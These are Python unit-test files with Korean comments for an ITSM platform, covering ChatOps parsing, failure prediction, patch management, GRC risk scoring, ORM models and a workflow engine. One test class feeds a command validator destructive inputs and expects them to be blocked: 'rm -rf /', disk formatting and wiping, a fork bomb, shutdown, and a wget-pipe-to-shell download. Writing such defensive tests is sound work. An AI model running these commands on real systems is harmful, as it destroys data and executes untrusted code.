def test_policy_categories_present(self):
from routers.policy_engine import _DEFAULT_POLICIES
categories = {p["category"] for p in _DEFAULT_POLICIES}
# 시드 데이터에 security, access, patch, backup 카테고리가 모두 포함
assert "security" in categories
assert "access" in categories
assert "patch" in categories
assert "backup" in categories
# ── 정책 템플릿 구조 검증 ────────────────────────────────────────────────────────
class TestPolicyTemplates:
"""공공기관 표준 정책 템플릿 목록 구조 검증."""
def test_templates_count(self):
from routers.policy_engine import _POLICY_TEMPLATES
assert len(_POLICY_TEMPLATES) == 5
def test_template_required_fields(self):
from routers.policy_engine import _POLICY_TEMPLATES
for t in _POLICY_TEMPLATES:
assert "template_id" in t
assert "name" in t
assert "category" in t
assert "severity" in t
assert "description" in t
assert "reference" in t
assert "conditions" in t
assert isinstance(t["conditions"], list)
assert len(t["conditions"]) > 0
def test_template_ids_unique(self):
from routers.policy_engine import _POLICY_TEMPLATES
ids = [t["template_id"] for t in _POLICY_TEMPLATES]
assert len(ids) == len(set(ids))
def test_template_ids_format(self):
from routers.policy_engine import _POLICY_TEMPLATES
for t in _POLICY_TEMPLATES:
# T-XXX-NNN 형식
assert t["template_id"].startswith("T-")

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"""
단위 테스트: ChatOps 확장 + 예측 장애 방지
커버 항목:
- chatops_extended 라우터 임포트 prefix 검증
- predictive_failure 라우터 임포트 prefix 검증
- ORM 모델 테이블명 컬럼 검증 (ChatOpsCommand, FailureSignal, PreventionAction)
- 명령어 파서 (_parse_command) 단위 검증
- 리스크 점수 계산 (_calc_risk_score) 단위 검증
- 예측 장애 레이블 (_predict_failure_label) 검증
- 지원 채널 정의 일관성 검증
- 장애 패턴 모델 정의 검증
"""
from __future__ import annotations
import pytest
# ══════════════════════════════════════════════════════════════════════════════
# chatops_extended 라우터 검증
# ══════════════════════════════════════════════════════════════════════════════
def test_chatops_extended_import():
"""chatops_extended 모듈이 오류 없이 임포트된다."""
from routers import chatops_extended
assert chatops_extended.router is not None
def test_chatops_router_prefix():
"""라우터 prefix가 /api/chatops인지 확인."""
from routers.chatops_extended import router
assert router.prefix == "/api/chatops"
def test_chatops_supported_channels():
"""지원 채널 3종(kakao, slack, internal)이 정의되어 있다."""
from routers.chatops_extended import SUPPORTED_CHANNELS
assert "kakao" in SUPPORTED_CHANNELS
assert "slack" in SUPPORTED_CHANNELS
assert "internal" in SUPPORTED_CHANNELS
# 각 채널에 enabled 키가 있어야 한다
for ch_id, info in SUPPORTED_CHANNELS.items():
assert "enabled" in info
assert "name" in info
def test_chatops_command_definitions():
"""지원 명령어가 7개 이상 정의되어 있다."""
from routers.chatops_extended import COMMAND_DEFINITIONS
commands = [d["command"] for d in COMMAND_DEFINITIONS]
assert len(commands) >= 7
# 필수 명령어 포함 여부
assert "/sr create" in commands
assert "/status" in commands
assert "/deploy" in commands
assert "/approve" in commands
assert "/report" in commands
assert "/patch" in commands
assert "/workflow" in commands
def test_parse_command_slash_sr_create():
"""'/sr create 서버 재시작 본문' 파싱 결과 확인."""
from routers.chatops_extended import _parse_command
result = _parse_command("/sr create web-01 재시작 요청")
assert result is not None
assert result["command"] == "/sr create"
assert "web-01" in result["args"]
def test_parse_command_status_with_id():
"""'/status SR-2026-001' 파싱 결과 확인."""
from routers.chatops_extended import _parse_command
result = _parse_command("/status SR-2026-001")
assert result is not None
assert result["command"] == "/status"
def test_parse_command_unknown_returns_dict():
"""인식되지 않는 명령어도 dict를 반환한다 (None 반환 없음)."""
from routers.chatops_extended import _parse_command
result = _parse_command("/unknown_cmd arg1 arg2")
assert result is not None
assert "command" in result
def test_parse_command_no_slash_returns_none():
"""슬래시 없는 일반 메시지는 None을 반환한다."""
from routers.chatops_extended import _parse_command
result = _parse_command("안녕하세요 도움이 필요합니다")
assert result is None
def test_parse_command_empty_string_returns_none():
"""빈 문자열은 None을 반환한다."""
from routers.chatops_extended import _parse_command
result = _parse_command("")
assert result is None
# ══════════════════════════════════════════════════════════════════════════════
# predictive_failure 라우터 검증
# ══════════════════════════════════════════════════════════════════════════════
def test_predictive_failure_import():
"""predictive_failure 모듈이 오류 없이 임포트된다."""
from routers import predictive_failure
assert predictive_failure.router is not None
def test_predictive_failure_router_prefix():
"""라우터 prefix가 /api/predict-fail인지 확인."""
from routers.predictive_failure import router
assert router.prefix == "/api/predict-fail"
def test_failure_patterns_defined():
"""장애 패턴 모델이 4종 이상 정의되어 있다."""
from routers.predictive_failure import FAILURE_PATTERNS
assert len(FAILURE_PATTERNS) >= 4
signal_types = {p["signal_type"] for p in FAILURE_PATTERNS}
assert "cpu_spike" in signal_types
assert "mem_leak" in signal_types
assert "disk_full" in signal_types
assert "error_rate" in signal_types
def test_failure_pattern_schema():
"""각 패턴 모델에 필수 키가 존재한다."""
from routers.predictive_failure import FAILURE_PATTERNS
required_keys = {"id", "signal_type", "name", "description", "threshold", "window_days", "algorithm"}
for p in FAILURE_PATTERNS:
for key in required_keys:
assert key in p, f"패턴 '{p.get('id', '?')}''{key}' 키 누락"
def test_prevention_templates_coverage():
"""예방 조치 템플릿이 4종 신호 유형을 모두 커버한다."""
from routers.predictive_failure import PREVENTION_TEMPLATES
for sig_type in ("cpu_spike", "mem_leak", "disk_full", "error_rate"):
assert sig_type in PREVENTION_TEMPLATES
tpl = PREVENTION_TEMPLATES[sig_type]
assert "action_type" in tpl
assert "action_cmd" in tpl
assert "description" in tpl
def test_calc_risk_score_below_threshold():
"""임계값 미만 값에서 리스크 점수가 0.8 이하이다."""
from routers.predictive_failure import _calc_risk_score
score = _calc_risk_score(70.0, 85.0, "cpu_spike")
assert 0.0 <= score <= 1.0
# 임계값 미만이므로 1.0 미만이어야 함
assert score < 1.0
def test_calc_risk_score_above_threshold():
"""임계값을 초과하면 리스크 점수가 높다 (0.5 초과)."""
from routers.predictive_failure import _calc_risk_score
score = _calc_risk_score(95.0, 85.0, "cpu_spike")
assert score > 0.5
def test_calc_risk_score_disk_full_high_weight():
"""disk_full 신호는 가중치 1.0이므로 다른 타입 대비 높다."""
from routers.predictive_failure import _calc_risk_score
disk_score = _calc_risk_score(95.0, 95.0, "disk_full")
cpu_score = _calc_risk_score(95.0, 95.0, "cpu_spike")
# disk_full(1.0) >= cpu_spike(0.8)
assert disk_score >= cpu_score
def test_calc_risk_score_zero_threshold():
"""임계값이 0이면 리스크 점수 0.0 반환 (ZeroDivision 없음)."""
from routers.predictive_failure import _calc_risk_score
score = _calc_risk_score(50.0, 0.0, "cpu_spike")
assert score == 0.0
def test_predict_failure_label_low_risk():
"""리스크 점수 0.3 미만은 None 반환 (장애 예측 없음)."""
from routers.predictive_failure import _predict_failure_label
label = _predict_failure_label("cpu_spike", 0.3)
assert label is None
def test_predict_failure_label_high_risk():
"""리스크 점수 0.7 이상은 레이블 문자열 반환."""
from routers.predictive_failure import _predict_failure_label
label = _predict_failure_label("mem_leak", 0.8)
assert isinstance(label, str)
assert len(label) > 0
def test_predict_failure_label_disk_full():
"""disk_full 신호의 레이블에 '디스크' 또는 '쓰기' 포함."""
from routers.predictive_failure import _predict_failure_label
label = _predict_failure_label("disk_full", 0.9)
assert label is not None
assert any(kw in label for kw in ("디스크", "쓰기", "Disk", "Full"))
# ══════════════════════════════════════════════════════════════════════════════
# ORM 모델 검증
# ══════════════════════════════════════════════════════════════════════════════
def test_chatops_command_orm():
"""ChatOpsCommand ORM 모델의 테이블명과 컬럼을 확인한다."""
from models import ChatOpsCommand
assert ChatOpsCommand.__tablename__ == "tb_chatops_command"
cols = {c.name for c in ChatOpsCommand.__table__.columns}
for col in ("id", "channel", "command", "args", "user_id", "response", "success", "created_at"):
assert col in cols, f"ChatOpsCommand에 '{col}' 컬럼 누락"
def test_failure_signal_orm():
"""FailureSignal ORM 모델의 테이블명과 컬럼을 확인한다."""
from models import FailureSignal
assert FailureSignal.__tablename__ == "tb_failure_signal"
cols = {c.name for c in FailureSignal.__table__.columns}
for col in ("id", "server_name", "signal_type", "value", "threshold", "risk_score",
"predicted_failure", "created_at"):
assert col in cols, f"FailureSignal에 '{col}' 컬럼 누락"
def test_prevention_action_orm():
"""PreventionAction ORM 모델의 테이블명과 컬럼을 확인한다."""
from models import PreventionAction
assert PreventionAction.__tablename__ == "tb_prevention_action"
cols = {c.name for c in PreventionAction.__table__.columns}
for col in ("id", "signal_id", "action_type", "action_cmd", "success", "created_at"):
assert col in cols, f"PreventionAction에 '{col}' 컬럼 누락"
def test_prevention_action_fk_signal():
"""PreventionAction.signal_id가 tb_failure_signal을 참조한다."""
from models import PreventionAction
fk_targets = {
str(fk.column) for fk in PreventionAction.__table__.foreign_keys
}
assert any("tb_failure_signal" in t for t in fk_targets)

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"""
단위 테스트 patch_management / grc_automation 라우터
커버리지:
- 위험 명령어 패턴 차단
- 리스크 점수 계산 레벨 결정
- PatchPlan ORM 모델 기본 필드
- GRCPolicy ORM 모델 기본 필드
- RiskItem ORM 모델 기본 필드
- 감사 보고서 권고 사항 생성
- 컴플라이언스 프레임워크 상수 확인
"""
import sys
import os
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
import pytest
# ── patch_management 유틸리티 테스트 ─────────────────────────────────────────
class TestDangerousPatternValidation:
"""위험 명령어 차단 — 보안 불변 규칙 검증."""
def _validate(self, cmd: str) -> None:
from routers.patch_management import _validate_cmd
_validate_cmd(cmd)
def test_safe_apt_command_passes(self):
# 정상 패치 명령어는 통과
self._validate("apt-get update && apt-get upgrade -y")
def test_safe_yum_command_passes(self):
self._validate("yum update -y")
def test_safe_systemctl_passes(self):
self._validate("systemctl restart nginx")
def test_rm_rf_root_blocked(self):
from fastapi import HTTPException
with pytest.raises(HTTPException) as exc_info:
self._validate("rm -rf /")
assert exc_info.value.status_code == 400
def test_mkfs_blocked(self):
from fastapi import HTTPException
with pytest.raises(HTTPException):
self._validate("mkfs.ext4 /dev/sda1")
def test_fork_bomb_blocked(self):
from fastapi import HTTPException
with pytest.raises(HTTPException):
self._validate(":(){ :|:& };:")
def test_shutdown_blocked(self):
from fastapi import HTTPException
with pytest.raises(HTTPException):
self._validate("shutdown -h now")
def test_wget_pipe_sh_blocked(self):
from fastapi import HTTPException
with pytest.raises(HTTPException):
self._validate("wget http://example.com/malware.sh | sh")
def test_dd_if_blocked(self):
from fastapi import HTTPException
with pytest.raises(HTTPException):
self._validate("dd if=/dev/zero of=/dev/sda")
class TestSeverityEstimation:
"""CVE ID 기반 심각도 추정."""
def _estimate(self, cve_id: str) -> str:
from routers.patch_management import _estimate_severity
return _estimate_severity(cve_id)
def test_critical_keyword(self):
assert self._estimate("CVE-2024-CRITICAL-0001") == "CRITICAL"
def test_high_keyword(self):
assert self._estimate("CVE-2024-HIGH-1234") == "HIGH"
def test_low_keyword(self):
assert self._estimate("CVE-2024-LOW-5678") == "LOW"
def test_default_medium(self):
assert self._estimate("CVE-2024-12345") == "MEDIUM"
def test_auto_scan_is_medium(self):
assert self._estimate("CVE-SCAN-AUTO") == "MEDIUM"
# ── grc_automation 유틸리티 테스트 ────────────────────────────────────────────
class TestRiskLevelCalculation:
"""리스크 점수 → 레벨 결정 (5×5 매트릭스)."""
def _level(self, score: float) -> str:
from routers.grc_automation import _calc_risk_level
return _calc_risk_level(score)
def test_critical_boundary(self):
assert self._level(20.0) == "CRITICAL"
assert self._level(25.0) == "CRITICAL" # 5*5
def test_high_boundary(self):
assert self._level(12.0) == "HIGH"
assert self._level(19.9) == "HIGH"
def test_medium_boundary(self):
assert self._level(6.0) == "MEDIUM"
assert self._level(11.9) == "MEDIUM"
def test_low_boundary(self):
assert self._level(1.0) == "LOW"
assert self._level(5.9) == "LOW"
def test_likelihood_impact_product(self):
# 5×4 = 20 → CRITICAL
assert self._level(5 * 4) == "CRITICAL"
# 3×3 = 9 → MEDIUM
assert self._level(3 * 3) == "MEDIUM"
# 2×2 = 4 → LOW
assert self._level(2 * 2) == "LOW"
class TestComplianceFrameworks:
"""컴플라이언스 프레임워크 상수 검증."""
def test_all_frameworks_present(self):
from routers.grc_automation import _COMPLIANCE_FRAMEWORKS
for fw in ["CSAP", "ISMS", "ISO27001", "GDPR"]:
assert fw in _COMPLIANCE_FRAMEWORKS
def test_framework_has_required_keys(self):
from routers.grc_automation import _COMPLIANCE_FRAMEWORKS
for key, val in _COMPLIANCE_FRAMEWORKS.items():
assert "name" in val, f"{key} 프레임워크에 'name' 키가 없습니다."
assert "controls" in val, f"{key} 프레임워크에 'controls' 키가 없습니다."
assert isinstance(val["controls"], int)
assert val["controls"] > 0
def test_csap_control_count(self):
from routers.grc_automation import _COMPLIANCE_FRAMEWORKS
assert _COMPLIANCE_FRAMEWORKS["CSAP"]["controls"] == 117
def test_isms_control_count(self):
from routers.grc_automation import _COMPLIANCE_FRAMEWORKS
assert _COMPLIANCE_FRAMEWORKS["ISMS"]["controls"] == 102
class TestBuildRecommendations:
"""감사 권고 사항 자동 생성."""
def _recs(self, critical, high, rate):
from routers.grc_automation import _build_recommendations
class _FakeRisk:
pass
c_risks = [_FakeRisk() for _ in range(critical)]
h_risks = [_FakeRisk() for _ in range(high)]
return _build_recommendations(c_risks, h_risks, rate)
def test_critical_risks_mentioned(self):
recs = self._recs(critical=3, high=0, rate=90.0)
assert any("CRITICAL" in r for r in recs)
assert any("3" in r for r in recs)
def test_high_risks_mentioned(self):
recs = self._recs(critical=0, high=5, rate=90.0)
assert any("HIGH" in r for r in recs)
def test_low_compliance_warning(self):
recs = self._recs(critical=0, high=0, rate=50.0)
assert any("60%" in r for r in recs)
def test_medium_compliance_warning(self):
recs = self._recs(critical=0, high=0, rate=70.0)
assert any("80%" in r for r in recs)
def test_good_compliance_positive(self):
recs = self._recs(critical=0, high=0, rate=95.0)
assert any("양호" in r for r in recs)
def test_always_includes_audit_reminder(self):
recs = self._recs(critical=0, high=0, rate=100.0)
assert any("감사" in r for r in recs)
def test_no_risks_still_returns_recs(self):
recs = self._recs(critical=0, high=0, rate=100.0)
assert len(recs) >= 1
# ── ORM 모델 기본 필드 테스트 ─────────────────────────────────────────────────
class TestPatchPlanModel:
"""PatchPlan ORM 모델이 models.py에 올바르게 정의되었는지 확인."""
def test_model_exists(self):
from models import PatchPlan
assert PatchPlan.__tablename__ == "tb_patch_plan"
def test_required_columns_exist(self):
from models import PatchPlan
cols = {c.key for c in PatchPlan.__table__.columns}
for required in ["id", "cve_id", "severity", "affected_servers",
"patch_cmd", "rollback_cmd", "status",
"approved_by", "executed_at", "created_at"]:
assert required in cols, f"PatchPlan에 '{required}' 컬럼이 없습니다."
def test_default_status_is_pending(self):
from models import PatchPlan
col = PatchPlan.__table__.columns["status"]
assert col.default.arg == "pending"
def test_default_severity_is_medium(self):
from models import PatchPlan
col = PatchPlan.__table__.columns["severity"]
assert col.default.arg == "MEDIUM"
class TestGRCPolicyModel:
"""GRCPolicy ORM 모델 검증."""
def test_model_exists(self):
from models import GRCPolicy
assert GRCPolicy.__tablename__ == "tb_grc_policy"
def test_required_columns_exist(self):
from models import GRCPolicy
cols = {c.key for c in GRCPolicy.__table__.columns}
for required in ["id", "title", "category", "content",
"version", "status", "effective_date", "created_at"]:
assert required in cols, f"GRCPolicy에 '{required}' 컬럼이 없습니다."
def test_default_status_is_draft(self):
from models import GRCPolicy
col = GRCPolicy.__table__.columns["status"]
assert col.default.arg == "draft"
def test_default_category_is_security(self):
from models import GRCPolicy
col = GRCPolicy.__table__.columns["category"]
assert col.default.arg == "security"
class TestRiskItemModel:
"""RiskItem ORM 모델 검증."""
def test_model_exists(self):
from models import RiskItem
assert RiskItem.__tablename__ == "tb_risk_item"
def test_required_columns_exist(self):
from models import RiskItem
cols = {c.key for c in RiskItem.__table__.columns}
for required in ["id", "title", "likelihood", "impact",
"risk_score", "risk_level", "mitigation",
"status", "created_at"]:
assert required in cols, f"RiskItem에 '{required}' 컬럼이 없습니다."
def test_default_likelihood_is_3(self):
from models import RiskItem
col = RiskItem.__table__.columns["likelihood"]
assert col.default.arg == 3
def test_default_impact_is_3(self):
from models import RiskItem
col = RiskItem.__table__.columns["impact"]
assert col.default.arg == 3
def test_default_risk_score_is_9(self):
from models import RiskItem
col = RiskItem.__table__.columns["risk_score"]
assert col.default.arg == 9.0
def test_default_status_is_open(self):
from models import RiskItem
col = RiskItem.__table__.columns["status"]
assert col.default.arg == "open"

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"""GUARDiA ITSM 단위 테스트 — tenant_ai + workflow_engine"""
import sys
import os
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
import json
import pytest
from datetime import datetime
# ── TenantAIModel / TenantKBDoc ORM 모델 ────────────────────────────────────
class TestTenantAIModelORM:
def test_import_orm_models(self):
from models import TenantAIModel, TenantKBDoc
assert TenantAIModel.__tablename__ == "tb_tenant_ai_model"
assert TenantKBDoc.__tablename__ == "tb_tenant_kb_doc"
def test_tenant_ai_model_columns(self):
from models import TenantAIModel
cols = {c.name for c in TenantAIModel.__table__.columns}
required = {"id", "tenant_id", "model_name", "base_model",
"dataset_size", "status", "accuracy", "created_at"}
assert required.issubset(cols), f"누락 컬럼: {required - cols}"
def test_tenant_kb_doc_columns(self):
from models import TenantKBDoc
cols = {c.name for c in TenantKBDoc.__table__.columns}
required = {"id", "tenant_id", "title", "content", "created_at"}
assert required.issubset(cols), f"누락 컬럼: {required - cols}"
def test_tenant_id_indexed(self):
from models import TenantAIModel
indexed_cols = {
c.name for c in TenantAIModel.__table__.columns if c.index
}
assert "tenant_id" in indexed_cols
def test_kb_tenant_id_indexed(self):
from models import TenantKBDoc
indexed_cols = {
c.name for c in TenantKBDoc.__table__.columns if c.index
}
assert "tenant_id" in indexed_cols
# ── WorkflowDefinition / WorkflowRun ORM 모델 ───────────────────────────────
class TestWorkflowORM:
def test_import_workflow_models(self):
from models import WorkflowDefinition, WorkflowRun
assert WorkflowDefinition.__tablename__ == "tb_workflow_definition"
assert WorkflowRun.__tablename__ == "tb_workflow_run"
def test_workflow_definition_columns(self):
from models import WorkflowDefinition
cols = {c.name for c in WorkflowDefinition.__table__.columns}
required = {"id", "name", "trigger", "steps", "active", "created_at"}
assert required.issubset(cols), f"누락 컬럼: {required - cols}"
def test_workflow_run_columns(self):
from models import WorkflowRun
cols = {c.name for c in WorkflowRun.__table__.columns}
required = {"id", "definition_id", "trigger_data", "step_results",
"status", "started_at", "finished_at"}
assert required.issubset(cols), f"누락 컬럼: {required - cols}"
def test_workflow_run_fk_to_definition(self):
from models import WorkflowRun
fk_cols = {fk.column.table.name for fk in WorkflowRun.__table__.foreign_keys}
assert "tb_workflow_definition" in fk_cols
def test_workflow_definition_relationship(self):
from models import WorkflowDefinition
# relationship 'runs' 존재 확인
assert hasattr(WorkflowDefinition, "runs")
def test_workflow_run_relationship(self):
from models import WorkflowRun
# relationship 'definition' 존재 확인
assert hasattr(WorkflowRun, "definition")
def test_workflow_active_default_false(self):
from models import WorkflowDefinition
# active 컬럼 기본값 False
active_col = WorkflowDefinition.__table__.columns["active"]
assert active_col.default.arg is False
def test_workflow_run_status_default(self):
from models import WorkflowRun
status_col = WorkflowRun.__table__.columns["status"]
assert status_col.default.arg == "running"
# ── tenant_ai 라우터 Pydantic 스키마 ─────────────────────────────────────────
class TestTenantAIPydantic:
def test_train_request_valid(self):
from routers.tenant_ai import TrainRequest
req = TrainRequest(model_name="my-llama", base_model="llama3")
assert req.model_name == "my-llama"
assert req.base_model == "llama3"
def test_train_request_defaults(self):
from routers.tenant_ai import TrainRequest
req = TrainRequest(model_name="model-x", base_model="llama3")
assert req.description is None
def test_query_request_valid(self):
from routers.tenant_ai import QueryRequest
req = QueryRequest(question="서버 재시작 절차는?")
assert req.use_kb is True
assert req.top_k == 3
def test_query_request_top_k_limit(self):
from routers.tenant_ai import QueryRequest
import pydantic
with pytest.raises((ValueError, pydantic.ValidationError)):
QueryRequest(question="질문", top_k=11) # max 10
def test_kb_doc_create_valid(self):
from routers.tenant_ai import KBDocCreate
doc = KBDocCreate(title="서버 운영 가이드", content="서버 운영 절차...")
assert doc.title == "서버 운영 가이드"
def test_query_request_min_length(self):
from routers.tenant_ai import QueryRequest
import pydantic
with pytest.raises((ValueError, pydantic.ValidationError)):
QueryRequest(question="") # min_length=1
# ── workflow_engine 라우터 Pydantic 스키마 ───────────────────────────────────
class TestWorkflowEnginePydantic:
def test_workflow_create_valid(self):
from routers.workflow_engine import WorkflowCreate, WorkflowStep
req = WorkflowCreate(
name="테스트 워크플로우",
trigger={"event": "SR_CREATED"},
steps=[WorkflowStep(seq=1, type="notify", params={"channel": "messenger"})],
)
assert req.name == "테스트 워크플로우"
assert req.active is False
assert len(req.steps) == 1
def test_workflow_update_partial(self):
from routers.workflow_engine import WorkflowUpdate
upd = WorkflowUpdate(active=True)
assert upd.active is True
assert upd.name is None
assert upd.steps is None
def test_trigger_request_valid(self):
from routers.workflow_engine import TriggerRequest
req = TriggerRequest(definition_id=1, payload={"server_id": "svr-01"})
assert req.definition_id == 1
assert req.payload["server_id"] == "svr-01"
def test_workflow_create_requires_steps(self):
from routers.workflow_engine import WorkflowCreate, WorkflowStep
import pydantic
with pytest.raises((ValueError, pydantic.ValidationError)):
WorkflowCreate(name="빈 워크플로우", steps=[]) # min_length=1
def test_workflow_step_defaults(self):
from routers.workflow_engine import WorkflowStep
step = WorkflowStep(seq=1, type="notify")
assert step.params == {}
# ── 내장 템플릿 시드 데이터 검증 ────────────────────────────────────────────
class TestBuiltinTemplates:
def test_template_count(self):
from routers.workflow_engine import BUILTIN_TEMPLATES
assert len(BUILTIN_TEMPLATES) == 5
def test_all_templates_have_required_fields(self):
from routers.workflow_engine import BUILTIN_TEMPLATES
for tpl in BUILTIN_TEMPLATES:
assert "name" in tpl
assert "description" in tpl
assert "trigger" in tpl
assert "steps" in tpl
def test_template_names(self):
from routers.workflow_engine import BUILTIN_TEMPLATES
names = {tpl["name"] for tpl in BUILTIN_TEMPLATES}
expected = {
"SR 자동처리",
"SLA 에스컬레이션",
"SSL 인증서 갱신",
"서버 이상 감지 → SR 생성",
"정기 보고서 생성",
}
assert expected == names
def test_all_templates_steps_are_list(self):
from routers.workflow_engine import BUILTIN_TEMPLATES
for tpl in BUILTIN_TEMPLATES:
assert isinstance(tpl["steps"], list)
assert len(tpl["steps"]) >= 1
def test_steps_json_serializable(self):
from routers.workflow_engine import BUILTIN_TEMPLATES
for tpl in BUILTIN_TEMPLATES:
serialized = json.dumps(tpl["steps"])
parsed = json.loads(serialized)
assert isinstance(parsed, list)
def test_cron_templates_have_cron_expr(self):
from routers.workflow_engine import BUILTIN_TEMPLATES
cron_templates = [t for t in BUILTIN_TEMPLATES if t["trigger"].get("event") == "CRON"]
for tpl in cron_templates:
assert "cron_expr" in tpl["trigger"], f"{tpl['name']} CRON 트리거에 cron_expr 누락"
# ── _get_tenant_id 헬퍼 ──────────────────────────────────────────────────────
class TestTenantIdHelper:
def test_returns_inst_code_when_present(self):
from routers.tenant_ai import _get_tenant_id
class FakeUser:
inst_code = "INST001"
username = "admin"
assert _get_tenant_id(FakeUser()) == "INST001"
def test_falls_back_to_username(self):
from routers.tenant_ai import _get_tenant_id
class FakeUser:
inst_code = None
username = "admin"
assert _get_tenant_id(FakeUser()) == "admin"
def test_empty_inst_code_falls_back(self):
from routers.tenant_ai import _get_tenant_id
class FakeUser:
inst_code = ""
username = "engineer1"
# 빈 문자열은 falsy → username 사용
result = _get_tenant_id(FakeUser())
assert result == "engineer1"
# ── _execute_step 단위 테스트 ────────────────────────────────────────────────
class TestExecuteStep:
@pytest.mark.asyncio
async def test_notify_step(self):
from routers.workflow_engine import _execute_step
step = {"type": "notify", "params": {"channel": "messenger", "message": "테스트 알림"}}
result = await _execute_step(step, {}, None)
assert result["type"] == "notify"
assert result["result"] == "ok"
assert result["channel"] == "messenger"
@pytest.mark.asyncio
async def test_auto_assign_step(self):
from routers.workflow_engine import _execute_step
step = {"type": "auto_assign", "params": {"role": "ENGINEER"}}
result = await _execute_step(step, {}, None)
assert result["result"] == "ok"
assert "ENGINEER" in result["detail"]
@pytest.mark.asyncio
async def test_escalate_step(self):
from routers.workflow_engine import _execute_step
step = {"type": "escalate", "params": {"target_role": "PM"}}
result = await _execute_step(step, {}, None)
assert result["result"] == "ok"
assert result["target"] == "PM"
@pytest.mark.asyncio
async def test_unknown_step_skipped(self):
from routers.workflow_engine import _execute_step
step = {"type": "unknown_action", "params": {}}
result = await _execute_step(step, {}, None)
assert result["result"] == "skipped"
@pytest.mark.asyncio
async def test_create_sr_step_formats_title(self):
from routers.workflow_engine import _execute_step
step = {"type": "create_sr", "params": {"title": "이상 감지: {server_id}", "priority": "CRITICAL"}}
result = await _execute_step(step, {"server_id": "svr-99"}, None)
assert result["result"] == "ok"
assert "svr-99" in result["title"]
@pytest.mark.asyncio
async def test_generate_report_step(self):
from routers.workflow_engine import _execute_step
step = {"type": "generate_report", "params": {"type": "monthly", "format": "pdf"}}
result = await _execute_step(step, {}, None)
assert result["result"] == "ok"
assert result["report_type"] == "monthly"